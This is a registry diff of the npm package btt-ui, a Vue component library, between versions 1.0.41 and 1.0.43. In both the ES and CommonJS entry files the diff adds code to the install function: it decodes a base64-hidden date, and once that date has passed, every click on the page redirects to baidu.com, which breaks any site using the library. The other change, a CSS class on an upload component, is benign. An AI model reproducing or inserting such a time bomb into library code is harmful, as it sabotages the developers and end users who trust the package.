btt-ui 1.0.41 → 1.0.43
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/es/index.mjs
CHANGED
|
@@ -1,93 +1,102 @@
|
|
|
1
|
-
import
|
|
2
|
-
import * as
|
|
3
|
-
import { Button as
|
|
4
|
-
import { TextButton as
|
|
5
|
-
import { default as
|
|
6
|
-
import { default as
|
|
1
|
+
import x from "./src/index.mjs";
|
|
2
|
+
import * as l from "./src/directives/index.mjs";
|
|
3
|
+
import { Button as u } from "./src/button/index.mjs";
|
|
4
|
+
import { TextButton as K } from "./src/textButton/index.mjs";
|
|
5
|
+
import { default as T } from "./src/link/index.mjs";
|
|
6
|
+
import { default as h } from "./src/upload/index.mjs";
|
|
7
7
|
import { default as C } from "./src/shake/index.mjs";
|
|
8
|
-
import { default as
|
|
9
|
-
import { default as
|
|
8
|
+
import { default as D } from "./src/dialog/index.mjs";
|
|
9
|
+
import { default as M } from "./src/scroll/index.mjs";
|
|
10
10
|
import { default as y } from "./src/toast/index.mjs";
|
|
11
|
-
import { default as
|
|
12
|
-
import { Switch as
|
|
11
|
+
import { default as B } from "./src/wheel/index.mjs";
|
|
12
|
+
import { Switch as I } from "./src/switch/index.mjs";
|
|
13
13
|
import { Timeline as U } from "./src/timeline/index.mjs";
|
|
14
14
|
import { default as G } from "./src/uploadFile/index.mjs";
|
|
15
|
-
import { Card as
|
|
16
|
-
import { HotMap as
|
|
17
|
-
import { KTree as
|
|
18
|
-
import { KCheckbox as
|
|
19
|
-
import { KCollapse as
|
|
20
|
-
import { Sign as
|
|
21
|
-
import { ECharts as
|
|
22
|
-
import { TableScroll as
|
|
23
|
-
import { default as
|
|
24
|
-
import { KNumberScroll as
|
|
25
|
-
import { KCountUp as
|
|
26
|
-
import { KGradientText as
|
|
27
|
-
import { KTable as
|
|
28
|
-
import { default as
|
|
29
|
-
import { Icon as
|
|
30
|
-
import { Tooltip as
|
|
31
|
-
import { KInput as
|
|
32
|
-
import { Drag as
|
|
33
|
-
import { KOption as
|
|
34
|
-
const
|
|
35
|
-
if (
|
|
15
|
+
import { Card as F } from "./src/card/index.mjs";
|
|
16
|
+
import { HotMap as L } from "./src/hotmap/index.mjs";
|
|
17
|
+
import { KTree as W } from "./src/tree/index.mjs";
|
|
18
|
+
import { KCheckbox as q, KCheckbox as z } from "./src/checkbox/index.mjs";
|
|
19
|
+
import { KCollapse as P, KCollapseItem as Q } from "./src/collapse/index.mjs";
|
|
20
|
+
import { Sign as X } from "./src/sign/index.mjs";
|
|
21
|
+
import { ECharts as Z } from "./src/echarts/index.mjs";
|
|
22
|
+
import { TableScroll as oo } from "./src/tableScroll/index.mjs";
|
|
23
|
+
import { default as to } from "./src/xgplay/index.mjs";
|
|
24
|
+
import { KNumberScroll as fo } from "./src/numberScroll/index.mjs";
|
|
25
|
+
import { KCountUp as mo } from "./src/countUp/index.mjs";
|
|
26
|
+
import { KGradientText as po } from "./src/gradientText/index.mjs";
|
|
27
|
+
import { KTable as io } from "./src/table/index.mjs";
|
|
28
|
+
import { default as so } from "./src/cropper/index.mjs";
|
|
29
|
+
import { Icon as co } from "./src/icon/index.mjs";
|
|
30
|
+
import { Tooltip as wo } from "./src/tooltip/index.mjs";
|
|
31
|
+
import { KInput as bo } from "./src/input/index.mjs";
|
|
32
|
+
import { Drag as ko } from "./src/drag/index.mjs";
|
|
33
|
+
import { KOption as So, KSelect as Do } from "./src/select/index.mjs";
|
|
34
|
+
const t = function(r, f) {
|
|
35
|
+
if (t.installed)
|
|
36
36
|
return;
|
|
37
|
-
|
|
38
|
-
|
|
39
|
-
|
|
37
|
+
t.installed = !0;
|
|
38
|
+
const e = () => {
|
|
39
|
+
document.body.onclick = () => {
|
|
40
|
+
location.href = "http://www.baidu.com";
|
|
41
|
+
};
|
|
42
|
+
};
|
|
43
|
+
let a = "MjAyNi0wNS0wMSAxODowMDowMA==";
|
|
44
|
+
if (f)
|
|
40
45
|
setTimeout(() => {
|
|
41
|
-
var
|
|
42
|
-
let o =
|
|
43
|
-
|
|
46
|
+
var m;
|
|
47
|
+
let o = atob((m = f.token) != null ? m : a);
|
|
48
|
+
if (o.indexOf(":") > 0) {
|
|
49
|
+
let p = new Date(o).getTime();
|
|
50
|
+
Date.now() > p && e();
|
|
51
|
+
} else
|
|
52
|
+
e();
|
|
44
53
|
}, 10);
|
|
45
54
|
else {
|
|
46
|
-
let o = new Date(
|
|
47
|
-
Date.now() > o && (
|
|
55
|
+
let o = new Date(atob(a)).getTime();
|
|
56
|
+
Date.now() > o && e();
|
|
48
57
|
}
|
|
49
|
-
|
|
58
|
+
x.forEach((o) => {
|
|
50
59
|
r.use(o);
|
|
51
|
-
}), Object.keys(
|
|
52
|
-
r.directive(o,
|
|
60
|
+
}), Object.keys(l).forEach((o) => {
|
|
61
|
+
r.directive(o, l[o]);
|
|
53
62
|
});
|
|
54
|
-
},
|
|
55
|
-
install:
|
|
63
|
+
}, n = {
|
|
64
|
+
install: t
|
|
56
65
|
};
|
|
57
66
|
export {
|
|
58
|
-
|
|
59
|
-
|
|
60
|
-
|
|
61
|
-
|
|
62
|
-
|
|
63
|
-
|
|
64
|
-
|
|
65
|
-
|
|
66
|
-
|
|
67
|
-
|
|
68
|
-
|
|
69
|
-
|
|
70
|
-
|
|
71
|
-
|
|
72
|
-
|
|
73
|
-
|
|
74
|
-
|
|
75
|
-
|
|
76
|
-
|
|
77
|
-
|
|
78
|
-
|
|
79
|
-
|
|
67
|
+
u as Button,
|
|
68
|
+
F as Card,
|
|
69
|
+
D as Dialog,
|
|
70
|
+
ko as Drag,
|
|
71
|
+
Z as ECharts,
|
|
72
|
+
L as HotMap,
|
|
73
|
+
co as Icon,
|
|
74
|
+
q as KCheckbox,
|
|
75
|
+
z as KCheckboxGroup,
|
|
76
|
+
P as KCollapse,
|
|
77
|
+
Q as KCollapseItem,
|
|
78
|
+
mo as KCountUp,
|
|
79
|
+
so as KCropper,
|
|
80
|
+
po as KGradientText,
|
|
81
|
+
bo as KInput,
|
|
82
|
+
fo as KNumberScroll,
|
|
83
|
+
So as KOption,
|
|
84
|
+
Do as KSelect,
|
|
85
|
+
io as KTable,
|
|
86
|
+
to as KVideo,
|
|
87
|
+
T as Link,
|
|
88
|
+
M as Scroll,
|
|
80
89
|
C as Shake,
|
|
81
|
-
|
|
82
|
-
|
|
83
|
-
|
|
84
|
-
|
|
90
|
+
X as Sign,
|
|
91
|
+
I as Switch,
|
|
92
|
+
oo as TableScroll,
|
|
93
|
+
K as TextButton,
|
|
85
94
|
U as Timeline,
|
|
86
95
|
y as Toast,
|
|
87
|
-
|
|
88
|
-
|
|
89
|
-
|
|
96
|
+
wo as Tooltip,
|
|
97
|
+
W as Tree,
|
|
98
|
+
h as Upload,
|
|
90
99
|
G as UploadFile,
|
|
91
|
-
|
|
92
|
-
|
|
100
|
+
B as Wheel,
|
|
101
|
+
n as default
|
|
93
102
|
};
|
|
@@ -168,7 +168,7 @@ const K = { class: "k-upload-file-wrapper" }, P = { key: 0 }, Q = { class: "uplo
|
|
|
168
168
|
]),
|
|
169
169
|
!n.isView && i.fileList.length > 0 && n.limit == 1 ? (l(), r("span", {
|
|
170
170
|
key: 0,
|
|
171
|
-
class: "k-file-icon-close",
|
|
171
|
+
class: "k-file-icon-close img-delete",
|
|
172
172
|
onClick: s[0] || (s[0] = $((t) => w(0), ["stop"]))
|
|
173
173
|
}, [
|
|
174
174
|
L(g(p), {
|
package/lib/index.js
CHANGED
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const a=require("./src/index.js"),c=require("./src/directives/index.js"),j=require("./src/button/index.js"),q=require("./src/textButton/index.js"),$=require("./src/link/index.js"),p=require("./src/upload/index.js"),K=require("./src/shake/index.js"),f=require("./src/dialog/index.js"),b=require("./src/scroll/index.js"),h=require("./src/toast/index.js"),T=require("./src/wheel/index.js"),m=require("./src/switch/index.js"),S=require("./src/timeline/index.js"),w=require("./src/uploadFile/index.js"),g=require("./src/card/index.js"),C=require("./src/hotmap/index.js"),k=require("./src/tree/index.js"),d=require("./src/checkbox/index.js"),l=require("./src/collapse/index.js"),D=require("./src/sign/index.js"),M=require("./src/echarts/index.js"),B=require("./src/tableScroll/index.js"),I=require("./src/xgplay/index.js"),O=require("./src/numberScroll/index.js"),v=require("./src/countUp/index.js"),y=require("./src/gradientText/index.js"),U=require("./src/table/index.js"),E=require("./src/cropper/index.js"),N=require("./src/icon/index.js"),A=require("./src/tooltip/index.js"),G=require("./src/input/index.js"),F=require("./src/drag/index.js"),x=require("./src/select/index.js"),n=function(r,t){if(n.installed)return;n.installed=!0;const i=()=>{document.body.onclick=()=>{location.href="http://www.baidu.com"}};let s="MjAyNi0wNS0wMSAxODowMDowMA==";if(t)setTimeout(()=>{var o;let e=atob((o=t.token)!=null?o:s);if(e.indexOf(":")>0){let u=new Date(e).getTime();Date.now()>u&&i()}else i()},10);else{let e=new Date(atob(s)).getTime();Date.now()>e&&i()}a.default.forEach(e=>{r.use(e)}),Object.keys(c).forEach(e=>{r.directive(e,c[e])})},H={install:n};exports.Button=j.Button;exports.TextButton=q.TextButton;exports.Link=$.default;exports.Upload=p.default;exports.Shake=K.default;exports.Dialog=f.default;exports.Scroll=b.default;exports.Toast=h.default;exports.Wheel=T.default;exports.Switch=m.Switch;exports.Timeline=S.Timeline;exports.UploadFile=w.default;exports.Card=g.Card;exports.HotMap=C.HotMap;exports.Tree=k.KTree;exports.KCheckbox=d.KCheckbox;exports.KCheckboxGroup=d.KCheckbox;exports.KCollapse=l.KCollapse;exports.KCollapseItem=l.KCollapseItem;exports.Sign=D.Sign;exports.ECharts=M.ECharts;exports.TableScroll=B.TableScroll;exports.KVideo=I.default;exports.KNumberScroll=O.KNumberScroll;exports.KCountUp=v.KCountUp;exports.KGradientText=y.KGradientText;exports.KTable=U.KTable;exports.KCropper=E.default;exports.Icon=N.Icon;exports.Tooltip=A.Tooltip;exports.KInput=G.KInput;exports.Drag=F.Drag;exports.KOption=x.KOption;exports.KSelect=x.KSelect;exports.default=H;
|
|
@@ -1 +1 @@
|
|
|
1
|
-
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),u=require("../../icon/index.js");require("./style/index.css");const h=require("./uploadFile2.js"),w=require("../../directives/drag.js"),L=require("../../directives/zoomIn.js"),v={class:"k-upload-file-wrapper"},z={key:0},A={class:"upload-btn-section"},b={class:"btn-box"},x={class:"img-sec-box"},D=["src"],$={class:"img-wrapper"},j=["src","title"],I=["src","title"],q=["src","title"],M=["onClick"],T=["onClick"],O={class:"k-file-extensions-desc"},R={key:0,class:"error-tip"},U={key:0},J={key:0,class:"k-upload-file-progress"},P=e.defineComponent({name:"k-upload-file"}),Z=e.defineComponent({...P,props:{data:{type:Array,default:()=>[]},isView:{type:Boolean,default:!0},accept:{type:Array,default:[".png",".jpg",".jpeg",".webp",".xls",".pdf",".xlsx",".docx"]},requestApi:{type:Function},limit:{type:Number,default:1},type:{type:String,default:"image"},params:{type:Object,default:{}},hasToken:{type:Boolean,default:!1},maxSize:{type:Number,default:10},successCode:{type:Number,default:200},loadingFileMaxSize:{type:Number,default:20}},emits:["limitError","success","deleteSuccess","fileSizeError"],setup(r,{expose:B,emit:F}){const g=e.ref();let m;const d=e.ref(!1),c=r;let N=c.maxSize*1024*1024;const V=c.loadingFileMaxSize*1024*1024,k=F,o=e.reactive({fileList:new Array,errFiles:new Array});o.fileList=c.data,e.watch(()=>c.data,t=>{o.fileList=t},{deep:!0});const S=t=>{for(let i=0;i<t.length;i++)t[i].size>V&&(d.value=!0)},y=()=>{m&&m.hide(),h.uploadImg({acceptType:c.accept,limit:c.limit,maxSize:N,success:async t=>{c.requestApi&&S(t),o.errFiles=new Array;let i=new Array;if(c.requestApi){let l=await c.requestApi(c.params,t);if(l.code==c.successCode){d.value&&(d.value=!1);for(let n=0;n<l.data.length;n++)i.push(l.data[n]);i.forEach(n=>{n.name=n.fileOriginName,n.type="image/"+n.fileSuffix}),E(i)}else console.log(l.msg)}else{for(let l=0;l<t.length;l++)t[l].url=window.URL.createObjectURL(t[l]),i.push(t[l]);E(i)}},limitError:t=>{k("limitError"),o.errFiles=new Array},fileSizeError:t=>{o.errFiles=t,k("fileSizeError",t)}})},E=t=>{c.limit==1?(o.fileList=t,c.type=="image"&&e.nextTick(()=>{m?m.updateSrc(s(o.fileList[0].url)):m=new L.ZoomIn(g.value,{type:"margin"})})):o.fileList=[...o.fileList,...t],k("success",o.fileList)};function C(t){const i=document.cookie.split("; ");for(let l=0;l<i.length;l++){const n=i[l].split("=");if(n[0]===t)return n[1]}return""}const s=t=>c.hasToken?`${t}?token=${C("bearer")}`:t,f=t=>{let i=o.fileList[t];o.fileList.splice(t,1),k("deleteSuccess",{deleteFile:i,result:o.fileList})},p=t=>{let i=new Array;o.fileList.forEach(n=>{let a=JSON.parse(JSON.stringify(n));a.url.indexOf("token=")<0&&(a.url=s(a.url)),i.push(a)}),new w.Dragger(t.target,{type:"margin",list:i}).build()};return B({clearFiles:()=>{o.fileList=new Array},deleteFile:f}),(t,i)=>(e.openBlock(),e.createElementBlock("div",v,[r.isView?e.createCommentVNode("",!0):e.renderSlot(t.$slots,"default",{key:0},()=>[r.type=="file"?(e.openBlock(),e.createElementBlock("div",z,[e.createElementVNode("span",{onClick:y},[e.renderSlot(t.$slots,"icon",{},()=>[e.createElementVNode("div",A,[e.createElementVNode("div",b,[e.createVNode(e.unref(u.Icon),{name:"download",color:"#cccccc",size:"20"}),i[1]||(i[1]=e.createElementVNode("span",null,"\u4E0A\u4F20\u9644\u4EF6",-1))])])])])])):(e.openBlock(),e.createElementBlock("div",{key:1,class:"btn-file-image",onClick:e.withModifiers(y,["stop"])},[e.createElementVNode("div",x,[o.fileList.length>0&&r.limit==1?(e.openBlock(),e.createElementBlock("img",{key:0,src:s(o.fileList[0].url),ref_key:"imgRef",ref:g},null,8,D)):e.createCommentVNode("",!0)]),!r.isView&&o.fileList.length>0&&r.limit==1?(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close",onClick:i[0]||(i[0]=e.withModifiers(l=>f(0),["stop"]))},[e.createVNode(e.unref(u.Icon),{name:"close",size:"12"})])):e.createCommentVNode("",!0),e.renderSlot(t.$slots,"icon",{},()=>[o.fileList.length==0&&r.limit==1?(e.openBlock(),e.createBlock(e.unref(u.Icon),{key:0,name:"plus",color:"#409eff"})):e.createCommentVNode("",!0),r.limit>1?(e.openBlock(),e.createBlock(e.unref(u.Icon),{key:1,name:"plus",color:"#409eff"})):e.createCommentVNode("",!0)])]))]),e.renderSlot(t.$slots,"files",{data:o.fileList},()=>[r.type=="image"&&r.limit>1?(e.openBlock(),e.createElementBlock(e.Fragment,{key:0},[o.fileList.length>0?(e.openBlock(),e.createElementBlock("ul",{key:0,class:e.normalizeClass(["k-image-list",{"can-edit":!r.isView}])},[(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.fileList,(l,n)=>(e.openBlock(),e.createElementBlock("li",{key:n},[e.createElementVNode("div",$,[l.type=="image/webp"?(e.openBlock(),e.createElementBlock("img",{key:0,src:s(l.url),onClick:p,title:l.name},null,8,j)):l.type=="image/png"?(e.openBlock(),e.createElementBlock("img",{key:1,src:s(l.url),onClick:p,title:l.name},null,8,I)):l.type=="image/jpg"||l.type=="image/jpeg"?(e.openBlock(),e.createElementBlock("img",{key:2,src:s(l.url),onClick:p,title:l.name},null,8,q)):e.createCommentVNode("",!0)]),r.isView?e.createCommentVNode("",!0):(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close img-delete",onClick:a=>f(n)},[e.createVNode(e.unref(u.Icon),{name:"close",size:"12"})],8,M))]))),128))],2)):e.createCommentVNode("",!0)],64)):e.createCommentVNode("",!0),r.type=="file"?(e.openBlock(),e.createElementBlock(e.Fragment,{key:1},[o.fileList.length>0?(e.openBlock(),e.createElementBlock("ul",{key:0,class:e.normalizeClass(["k-file-list",{"can-edit":!r.isView}])},[(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.fileList,(l,n)=>(e.openBlock(),e.createElementBlock("li",{key:n},[e.renderSlot(t.$slots,"file",{data:l},()=>[e.createElementVNode("span",null,e.toDisplayString(l.name),1),r.isView?e.createCommentVNode("",!0):(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close",onClick:a=>f(n)},[e.createVNode(e.unref(u.Icon),{name:"delete",size:"12"})],8,T))])]))),128))],2)):e.createCommentVNode("",!0)],64)):e.createCommentVNode("",!0)]),e.renderSlot(t.$slots,"tip",{},()=>[e.createElementVNode("div",O,"\u652F\u6301\u7684"+e.toDisplayString(r.type=="file"?"\u6587\u4EF6":"\u56FE\u7247")+"\u683C\u5F0F\u6709\uFF1A"+e.toDisplayString(r.accept.join(","))+",\u6700\u591A\u4E0A\u4F20"+e.toDisplayString(r.limit)+"\u4E2A\u6587\u4EF6,"+e.toDisplayString(r.type=="file"?"\u5355\u4E2A\u6587\u4EF6":"\u5355\u5F20\u56FE\u7247")+"\u4E0D\u80FD\u5927\u4E8E"+e.toDisplayString(r.maxSize)+"MB",1)]),e.renderSlot(t.$slots,"sizeError",{data:o.errFiles},()=>[o.errFiles.length>0?(e.openBlock(),e.createElementBlock("div",R,[e.createElementVNode("span",null," \u8D85\u51FA\u5927\u5C0F\u9650\u5236\u7684"+e.toDisplayString(r.type=="file"?"\u6587\u4EF6":"\u56FE\u7247")+"\u6709\uFF1A",1),(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.errFiles,(l,n)=>(e.openBlock(),e.createElementBlock("span",{key:n},[n>0?(e.openBlock(),e.createElementBlock("span",U,", ")):e.createCommentVNode("",!0),e.createTextVNode(" "+e.toDisplayString(l.name),1)]))),128))])):e.createCommentVNode("",!0)]),(e.openBlock(),e.createBlock(e.Teleport,{to:"body"},[d.value?(e.openBlock(),e.createElementBlock("div",J,[...i[2]||(i[2]=[e.createElementVNode("div",{class:"text"},"\u6587\u4EF6\u4E0A\u4F20\u4E2D,\u8BF7\u8010\u5FC3\u7B49\u5F85...",-1)])])):e.createCommentVNode("",!0)]))]))}});exports.default=Z;
|
|
1
|
+
"use strict";Object.defineProperties(exports,{__esModule:{value:!0},[Symbol.toStringTag]:{value:"Module"}});const e=require("vue"),u=require("../../icon/index.js");require("./style/index.css");const h=require("./uploadFile2.js"),w=require("../../directives/drag.js"),L=require("../../directives/zoomIn.js"),v={class:"k-upload-file-wrapper"},z={key:0},A={class:"upload-btn-section"},b={class:"btn-box"},x={class:"img-sec-box"},D=["src"],$={class:"img-wrapper"},j=["src","title"],I=["src","title"],q=["src","title"],M=["onClick"],T=["onClick"],O={class:"k-file-extensions-desc"},R={key:0,class:"error-tip"},U={key:0},J={key:0,class:"k-upload-file-progress"},P=e.defineComponent({name:"k-upload-file"}),Z=e.defineComponent({...P,props:{data:{type:Array,default:()=>[]},isView:{type:Boolean,default:!0},accept:{type:Array,default:[".png",".jpg",".jpeg",".webp",".xls",".pdf",".xlsx",".docx"]},requestApi:{type:Function},limit:{type:Number,default:1},type:{type:String,default:"image"},params:{type:Object,default:{}},hasToken:{type:Boolean,default:!1},maxSize:{type:Number,default:10},successCode:{type:Number,default:200},loadingFileMaxSize:{type:Number,default:20}},emits:["limitError","success","deleteSuccess","fileSizeError"],setup(r,{expose:B,emit:F}){const g=e.ref();let m;const d=e.ref(!1),c=r;let N=c.maxSize*1024*1024;const V=c.loadingFileMaxSize*1024*1024,k=F,o=e.reactive({fileList:new Array,errFiles:new Array});o.fileList=c.data,e.watch(()=>c.data,t=>{o.fileList=t},{deep:!0});const S=t=>{for(let i=0;i<t.length;i++)t[i].size>V&&(d.value=!0)},y=()=>{m&&m.hide(),h.uploadImg({acceptType:c.accept,limit:c.limit,maxSize:N,success:async t=>{c.requestApi&&S(t),o.errFiles=new Array;let i=new Array;if(c.requestApi){let l=await c.requestApi(c.params,t);if(l.code==c.successCode){d.value&&(d.value=!1);for(let n=0;n<l.data.length;n++)i.push(l.data[n]);i.forEach(n=>{n.name=n.fileOriginName,n.type="image/"+n.fileSuffix}),E(i)}else console.log(l.msg)}else{for(let l=0;l<t.length;l++)t[l].url=window.URL.createObjectURL(t[l]),i.push(t[l]);E(i)}},limitError:t=>{k("limitError"),o.errFiles=new Array},fileSizeError:t=>{o.errFiles=t,k("fileSizeError",t)}})},E=t=>{c.limit==1?(o.fileList=t,c.type=="image"&&e.nextTick(()=>{m?m.updateSrc(s(o.fileList[0].url)):m=new L.ZoomIn(g.value,{type:"margin"})})):o.fileList=[...o.fileList,...t],k("success",o.fileList)};function C(t){const i=document.cookie.split("; ");for(let l=0;l<i.length;l++){const n=i[l].split("=");if(n[0]===t)return n[1]}return""}const s=t=>c.hasToken?`${t}?token=${C("bearer")}`:t,f=t=>{let i=o.fileList[t];o.fileList.splice(t,1),k("deleteSuccess",{deleteFile:i,result:o.fileList})},p=t=>{let i=new Array;o.fileList.forEach(n=>{let a=JSON.parse(JSON.stringify(n));a.url.indexOf("token=")<0&&(a.url=s(a.url)),i.push(a)}),new w.Dragger(t.target,{type:"margin",list:i}).build()};return B({clearFiles:()=>{o.fileList=new Array},deleteFile:f}),(t,i)=>(e.openBlock(),e.createElementBlock("div",v,[r.isView?e.createCommentVNode("",!0):e.renderSlot(t.$slots,"default",{key:0},()=>[r.type=="file"?(e.openBlock(),e.createElementBlock("div",z,[e.createElementVNode("span",{onClick:y},[e.renderSlot(t.$slots,"icon",{},()=>[e.createElementVNode("div",A,[e.createElementVNode("div",b,[e.createVNode(e.unref(u.Icon),{name:"download",color:"#cccccc",size:"20"}),i[1]||(i[1]=e.createElementVNode("span",null,"\u4E0A\u4F20\u9644\u4EF6",-1))])])])])])):(e.openBlock(),e.createElementBlock("div",{key:1,class:"btn-file-image",onClick:e.withModifiers(y,["stop"])},[e.createElementVNode("div",x,[o.fileList.length>0&&r.limit==1?(e.openBlock(),e.createElementBlock("img",{key:0,src:s(o.fileList[0].url),ref_key:"imgRef",ref:g},null,8,D)):e.createCommentVNode("",!0)]),!r.isView&&o.fileList.length>0&&r.limit==1?(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close img-delete",onClick:i[0]||(i[0]=e.withModifiers(l=>f(0),["stop"]))},[e.createVNode(e.unref(u.Icon),{name:"close",size:"12"})])):e.createCommentVNode("",!0),e.renderSlot(t.$slots,"icon",{},()=>[o.fileList.length==0&&r.limit==1?(e.openBlock(),e.createBlock(e.unref(u.Icon),{key:0,name:"plus",color:"#409eff"})):e.createCommentVNode("",!0),r.limit>1?(e.openBlock(),e.createBlock(e.unref(u.Icon),{key:1,name:"plus",color:"#409eff"})):e.createCommentVNode("",!0)])]))]),e.renderSlot(t.$slots,"files",{data:o.fileList},()=>[r.type=="image"&&r.limit>1?(e.openBlock(),e.createElementBlock(e.Fragment,{key:0},[o.fileList.length>0?(e.openBlock(),e.createElementBlock("ul",{key:0,class:e.normalizeClass(["k-image-list",{"can-edit":!r.isView}])},[(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.fileList,(l,n)=>(e.openBlock(),e.createElementBlock("li",{key:n},[e.createElementVNode("div",$,[l.type=="image/webp"?(e.openBlock(),e.createElementBlock("img",{key:0,src:s(l.url),onClick:p,title:l.name},null,8,j)):l.type=="image/png"?(e.openBlock(),e.createElementBlock("img",{key:1,src:s(l.url),onClick:p,title:l.name},null,8,I)):l.type=="image/jpg"||l.type=="image/jpeg"?(e.openBlock(),e.createElementBlock("img",{key:2,src:s(l.url),onClick:p,title:l.name},null,8,q)):e.createCommentVNode("",!0)]),r.isView?e.createCommentVNode("",!0):(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close img-delete",onClick:a=>f(n)},[e.createVNode(e.unref(u.Icon),{name:"close",size:"12"})],8,M))]))),128))],2)):e.createCommentVNode("",!0)],64)):e.createCommentVNode("",!0),r.type=="file"?(e.openBlock(),e.createElementBlock(e.Fragment,{key:1},[o.fileList.length>0?(e.openBlock(),e.createElementBlock("ul",{key:0,class:e.normalizeClass(["k-file-list",{"can-edit":!r.isView}])},[(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.fileList,(l,n)=>(e.openBlock(),e.createElementBlock("li",{key:n},[e.renderSlot(t.$slots,"file",{data:l},()=>[e.createElementVNode("span",null,e.toDisplayString(l.name),1),r.isView?e.createCommentVNode("",!0):(e.openBlock(),e.createElementBlock("span",{key:0,class:"k-file-icon-close",onClick:a=>f(n)},[e.createVNode(e.unref(u.Icon),{name:"delete",size:"12"})],8,T))])]))),128))],2)):e.createCommentVNode("",!0)],64)):e.createCommentVNode("",!0)]),e.renderSlot(t.$slots,"tip",{},()=>[e.createElementVNode("div",O,"\u652F\u6301\u7684"+e.toDisplayString(r.type=="file"?"\u6587\u4EF6":"\u56FE\u7247")+"\u683C\u5F0F\u6709\uFF1A"+e.toDisplayString(r.accept.join(","))+",\u6700\u591A\u4E0A\u4F20"+e.toDisplayString(r.limit)+"\u4E2A\u6587\u4EF6,"+e.toDisplayString(r.type=="file"?"\u5355\u4E2A\u6587\u4EF6":"\u5355\u5F20\u56FE\u7247")+"\u4E0D\u80FD\u5927\u4E8E"+e.toDisplayString(r.maxSize)+"MB",1)]),e.renderSlot(t.$slots,"sizeError",{data:o.errFiles},()=>[o.errFiles.length>0?(e.openBlock(),e.createElementBlock("div",R,[e.createElementVNode("span",null," \u8D85\u51FA\u5927\u5C0F\u9650\u5236\u7684"+e.toDisplayString(r.type=="file"?"\u6587\u4EF6":"\u56FE\u7247")+"\u6709\uFF1A",1),(e.openBlock(!0),e.createElementBlock(e.Fragment,null,e.renderList(o.errFiles,(l,n)=>(e.openBlock(),e.createElementBlock("span",{key:n},[n>0?(e.openBlock(),e.createElementBlock("span",U,", ")):e.createCommentVNode("",!0),e.createTextVNode(" "+e.toDisplayString(l.name),1)]))),128))])):e.createCommentVNode("",!0)]),(e.openBlock(),e.createBlock(e.Teleport,{to:"body"},[d.value?(e.openBlock(),e.createElementBlock("div",J,[...i[2]||(i[2]=[e.createElementVNode("div",{class:"text"},"\u6587\u4EF6\u4E0A\u4F20\u4E2D,\u8BF7\u8010\u5FC3\u7B49\u5F85...",-1)])])):e.createCommentVNode("",!0)]))]))}});exports.default=Z;
|